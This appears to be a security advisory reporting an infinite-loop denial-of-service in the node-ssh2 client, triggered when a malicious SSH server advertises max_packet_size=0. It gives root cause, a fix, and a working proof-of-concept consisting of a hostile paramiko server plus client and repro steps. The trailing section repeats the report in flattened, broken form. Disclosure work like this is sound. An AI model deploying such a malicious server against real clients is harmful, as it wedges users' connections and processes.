node-ssh2 (mscdex/ssh2) max_packet_size=0 channel-send infinite loop
Identity
- Target: node-ssh2 / mscdex/ssh2 (commit 318d447, current at time of report)
- Vulnerable site:
lib/Channel.js channel-data send loop (lines ~44-66 and ~159-177)
- Class: CWE-835 (infinite loop) — the SSH
max_packet_size=0 cluster (RFC 4254 §5.1 silent on 0)
- Reachability: post-auth; a malicious SSH server advertises
max_packet_size=0 in
SSH_MSG_CHANNEL_OPEN_CONFIRMATION; the client wedges when it next writes channel data
- Impact: client DoS — Node event loop pinned at ~100% CPU, connection/terminal freeze
Root cause
// lib/Channel.js (send loop)
const packetSize = outgoing.packetSize; // stored raw from peer's OPEN_CONFIRMATION
while (len - p > 0 && window > 0) {
let sliceLen = len - p;
if (sliceLen > window) sliceLen = window;
if (sliceLen > packetSize) sliceLen = packetSize; // no floor; packetSize=0 -> sliceLen=0
... // send sliceLen bytes of CHANNEL_DATA
p += sliceLen; // p += 0
window -= sliceLen; // window -= 0
}
With packetSize = 0 and window > 0, sliceLen is clamped to 0; p and window never change →
synchronous infinite loop emitting 0-length CHANNEL_DATA, pinning the Node event loop. No >= 1
floor is enforced on the peer-supplied packet size (contrast OpenSSH channels.c:3079,
dropbear common-channel.c:716, paramiko _sanitize_packet_size, Go x/crypto minPacketLength=9,
Maverick < 4096 reject, all of which defend).
Proof of concept
malicious_server.py (shared paramiko server, Transport.default_max_packet_size = 0) +
client.js (node-ssh2 client). The client connects, opens a shell channel, and writes 8 KiB.
$ bash repro.sh
[+] malicious server up on :2307 (advertises max_packet_size=0)
[+] running node-ssh2 client (timeout 8s; expect SIGTERM at wedge)
[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)
[+] exit: timeout-killed (124) = client wedged in send loop = VULNERABLE
The client never reaches the "returned after write" line; timeout kills it at the wedge.
Impact
Post-auth, client-side DoS (connect to / be redirected to a malicious server). Low–Medium — same
class as the reported asyncssh/libssh/PuTTY/Twisted/SSHJ (all now fixed).
Suggested fix
Reject or clamp the peer's packet size on receipt, e.g. packetSize = Math.max(packetSize, 1) (or
reject SSH_MSG_CHANNEL_OPEN_CONFIRMATION with max_packet_size == 0), matching the defended impls.
Reproduction package
client.js — node-ssh2 client (npm install ssh2)
malicious_server.py — shared paramiko server (maxpkt=0)
repro.sh / output.txt
PoC source (client.js)
// node-ssh2 (mscdex/ssh2) max_packet_size=0 reproducer.
// Connects to malicious_server.py (which advertises max_packet_size=0 in
// CHANNEL_OPEN_CONFIRMATION), opens a session, and writes channel data.
// Once outgoing.packetSize == 0, Channel.js send loop computes
// sliceLen = min(len-p, window, packetSize) = 0 -> p += 0, window -= 0
// and never advances -> synchronous infinite loop pinning the Node event loop.
//
// Run: npm install ssh2 && node client.js [port]
const { Client } = require('ssh2');
const port = parseInt(process.argv[2] || '2300', 10);
const conn = new Client();
conn.on('ready', () => {
conn.shell(false, (err, stream) => {
if (err) { console.error(err); process.exit(2); }
// server's OPEN_CONFIRMATION carried max_packet_size=0 -> outgoing.packetSize=0
console.log('[client] channel opened; outgoing.packetSize =',
stream._channel && stream._channel.outgoing && stream._channel.outgoing.packetSize);
console.log('[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)');
stream.write(Buffer.alloc(8192, 0x58)); // <-- wedges here if vulnerable
console.log('[client] returned after write -> NOT vulnerable (unexpected)');
conn.end();
});
});
conn.on('error', (e) => { console.error('[client] conn error:', e.message); });
conn.connect({ host: '127.0.0.1', port, username: 'x', password: 'x',
readyTimeout: 8000 });
PoC source (malicious_server.py)
#!/usr/bin/env python3
# Malicious SSH server: real paramiko KEX/auth, but advertises max_packet_size=0.
# Requires: pip install paramiko
# Usage: python3 malicious_server.py <port> [authmode] (authmode: pass|none)
import sys, time, socket, threading, warnings
warnings.filterwarnings("ignore")
import paramiko
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2300
AUTHMODE = sys.argv[2] if len(sys.argv) > 2 else "pass"
class _AcceptAll(paramiko.ServerInterface):
def get_allowed_auths(self, username): return "password,none"
def check_auth_none(self, username):
return paramiko.AUTH_SUCCESSFUL if AUTHMODE == "none" else paramiko.AUTH_FAILED
def check_auth_password(self, username, password): return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid): return paramiko.OPEN_SUCCEEDED
def check_channel_shell_request(self, channel): return True
def check_channel_exec_request(self, channel, command): return True
def check_channel_pty_request(self, *a): return True
host_key = paramiko.RSAKey.generate(2048)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", PORT)); srv.listen(5)
print(f"[server] listening 127.0.0.1:{PORT} (advertises max_packet_size=0)", flush=True)
while True:
conn, _ = srv.accept()
t = paramiko.Transport(conn)
t.add_server_key(host_key)
t.default_max_packet_size = 0 # <-- weapon
def run(tr=t):
try: tr.start_server(server=_AcceptAll())
except Exception as e: print("[server] ended:", e, flush=True)
while tr.is_active(): time.sleep(0.5)
threading.Thread(target=run, daemon=True).start()
Steps to reproduce:
pip install paramiko and npm install ssh2
python3 malicious_server.py 2307 pass &
timeout 8 node client.js 2307 (client.js is inlined above)
- The client never returns from
stream.write(...); timeout kills it (exit 124) = wedged = vulnerable.
node-ssh2 (mscdex/ssh2)
max_packet_size=0channel-send infinite loopIdentity
lib/Channel.jschannel-data send loop (lines ~44-66 and ~159-177)max_packet_size=0cluster (RFC 4254 §5.1 silent on 0)max_packet_size=0inSSH_MSG_CHANNEL_OPEN_CONFIRMATION; the client wedges when it next writes channel dataRoot cause
With
packetSize = 0andwindow > 0,sliceLenis clamped to 0;pandwindownever change →synchronous infinite loop emitting 0-length CHANNEL_DATA, pinning the Node event loop. No
>= 1floor is enforced on the peer-supplied packet size (contrast OpenSSH
channels.c:3079,dropbear
common-channel.c:716, paramiko_sanitize_packet_size, Go x/cryptominPacketLength=9,Maverick
< 4096reject, all of which defend).Proof of concept
malicious_server.py(shared paramiko server,Transport.default_max_packet_size = 0) +client.js(node-ssh2 client). The client connects, opens a shell channel, and writes 8 KiB.The client never reaches the "returned after write" line;
timeoutkills it at the wedge.Impact
Post-auth, client-side DoS (connect to / be redirected to a malicious server). Low–Medium — same
class as the reported asyncssh/libssh/PuTTY/Twisted/SSHJ (all now fixed).
Suggested fix
Reject or clamp the peer's packet size on receipt, e.g.
packetSize = Math.max(packetSize, 1)(orreject
SSH_MSG_CHANNEL_OPEN_CONFIRMATIONwithmax_packet_size == 0), matching the defended impls.Reproduction package
client.js— node-ssh2 client (npm install ssh2)malicious_server.py— shared paramiko server (maxpkt=0)repro.sh/output.txtPoC source (
client.js)PoC source (
malicious_server.py)Steps to reproduce:
pip install paramikoandnpm install ssh2python3 malicious_server.py 2307 pass &timeout 8 node client.js 2307(client.js is inlined above)stream.write(...);timeoutkills it (exit 124) = wedged = vulnerable.